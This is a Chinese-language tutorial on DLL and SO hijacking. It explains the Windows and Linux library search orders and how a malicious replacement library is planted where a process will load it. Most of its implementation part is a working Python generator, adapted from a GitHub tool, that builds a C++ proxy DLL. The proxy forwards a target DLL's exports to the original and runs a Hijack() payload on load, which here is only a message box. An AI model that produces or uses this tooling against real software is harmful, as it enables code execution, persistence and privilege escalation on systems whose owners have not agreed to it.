一、概念
DLL(Dynamic-link library)是Windows操作系统上实现的共享库,又称动态链接库。DLL 的文件格式与 EXE 文件的文件格式相同,即还是32位和64位Windows的可移植可执行文件(PE文件)。
SO 是Linux操作系统上实现的共享库,又称动态链接库。SO 的文件格式是32位和64位Linux的可移植可执行文件(ELF文件)。
动态链接库的作用,为程序提供导入函数以实现共享开发者代码,其在进程需要调用某个导入函数时进行动态链接将整个库文件加载进内存中。
那什么是dll劫持?
黑客通过将原本要加载的目标动态链接库用自己恶意编写的dll文件去替换,就可以让目标进程加载黑客的动态链接库,从而执行动态链接库中的恶意代码,达到攻击的目的。
二、劫持动态链接库的要求
黑客编写的恶意dll或so文件需要满足以下要求:
- 确保文件中的代码可以正常执行,不会对目标进程造成异常错误
- 必须具有对于目标进程调用的函数,并且函数声明和调用约定相同(但是具体函数内部代码可以不同,只要返回值可以让目标进程正常接受就可)
PS:可以在库中添加额外的函数。
三、Windows和Linux中的dll劫持区别
Windows中的dll劫持
当然我们也可以在不删除目标dll文件或方便操作的目的,根据进程寻找dll所在目录的顺序来放置我们的恶意dll文件,只要我们的恶意dll文件在目标dll文件之前被进程找到,也可以达到劫持目的。
Windows中,进程寻找dll文件所在目录顺序:
- 进程对应的应用程序所在目录
- 系统目录(一般为 System32 目录,如果是在 64 位系统下的32位程序,则为 SysWOW64 目录)
- 16位系统目录
- Windows目录
- PATH环境变量中的各个目录
PS:在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs不能在系统目录以外被加载。
Linux中的dll劫持
同理。
Linux中,进程寻找so文件所在目录顺序:
- 编译目标代码时指定的动态库搜索路径(编译时-L、-rpath和-rpath-link指定的路径)
- 环境变量LD_LIBRARY_PATH指定的动态库搜索路径
- 配置文件/etc/ld.so.conf中指定的动态库搜索路径
- 默认的动态库搜索路径/lib
- 默认的动态库搜索路径/usr/lib
四、劫持实现
劫持的目的就是运行我们自己的dll或so文件。
将劫持dll文件放到原dll文件所在目录,而原dll则移到一个不会干扰的目录即可。
关于劫持dll的生成,我们可以自己手动编写,也可以通过使用工具辅助生成。
工具辅助思路:根据获取的所有导入函数生成一个.c或.cpp文件,生成的转发函数如下:
extern "C" __declspec(naked) void __cdecl 目标函数名(void) { __asm POP dwReturnAddress; GetAddress("目标函数名")(); __asm JMP dwReturnAddress; }
再通过对编译器设置函数转发,实现函数转发,如:
#pragma comment(linker, "/EXPORT:main=_DLLHijacker_main,@5")
贴上我自己参考https://github.com/zhaoed/DLL_Hijacker-1/修改后的脚本:
import os,sys,time import pefile def main(): pe = pefile.PE(sys.argv[1]) exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols print("[!]Find export function :[ %d ]\r\n" % len(exportTable)) for exptab in exportTable: print("%3s %10s" % (exptab.ordinal, exptab.name)) print("\r\n[+] generating DLL Hijack cpp file ...") generate(exportTable) print("\r\n[+] generating DLL Hijack cpp file has finished!") def generate(exportTable): segments = r"//Generate by DLLHijacker.py\ \ #include <Windows.h>\ \ DEFINE_DLL_EXPORT_FUNC\ #define EXTERNC extern \"C\"\ #define NAKED __declspec(naked)\ #define EXPORT __declspec(dllexport)\ #define ALCPP EXPORT NAKED\ #define ALSTD EXTERNC EXPORT NAKED void __stdcall\ #define ALCDECL EXTERNC NAKED void __cdecl\ \ namespace DLLHijacker\ {\ HMODULE m_hModule = NULL;\ DWORD dwReturnAddress;\ inline BOOL WINAPI Load()\ {\ TCHAR tzPath[MAX_PATH];\ lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\ m_hModule = LoadLibrary(tzPath);\ if (m_hModule == NULL)\ return FALSE;\ return (m_hModule != NULL);\ }\ inline VOID WINAPI Free()\ {\ if (m_hModule)\ FreeLibrary(m_hModule);\ }\ FARPROC WINAPI GetAddress(PCSTR pszProcName)\ {\ FARPROC fpAddress;\ CHAR szProcName[16];\ fpAddress = GetProcAddress(m_hModule, pszProcName);\ if (fpAddress == NULL)\ {\ if (HIWORD(pszProcName) == 0)\ {\ wsprintf(szProcName, \"%d\", pszProcName);\ pszProcName = szProcName;\ }\ ExitProcess(-2);\ }\ return fpAddress;\ }\ }\ using namespace DLLHijacker;\ VOID Hijack()\ {\ MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\ }\ BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\ {\ if (dwReason == DLL_PROCESS_ATTACH)\ {\ DisableThreadLibraryCalls(hModule);\ if(Load())\ Hijack();\ }\ else if (dwReason == DLL_PROCESS_DETACH)\ {\ Free();\ }\ return TRUE;\ }\ " filename = sys.argv[1] fp = open(filename + ".cpp", "w+") define_dll_exp_func = "" for exptable in exportTable: define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name, encoding = "utf-8") +\ "=_DLLHijacker_" + str(exptable.name, encoding = "utf-8") + ",@"+ str(exptable.ordinal) +"\")\n" segments = segments.replace('DLL_FILENAME', filename) segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','') fp.writelines(segments) forward_dll_exp_func = "" for exptable in exportTable: forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name, encoding = "utf-8") +"(void)\n{" + \ "\n __asm POP dwReturnAddress;\n GetAddress(\""+ \ str(exptable.name, encoding = "utf-8") + "\")();\n __asm JMP dwReturnAddress;\n}\r\n" fp.writelines(forward_dll_exp_func) fp.close() def usage(): print("Usage:") print(" %s 目标.dll" % sys.argv[0]) if __name__ == "__main__": if(len(sys.argv) <2): usage() else: main()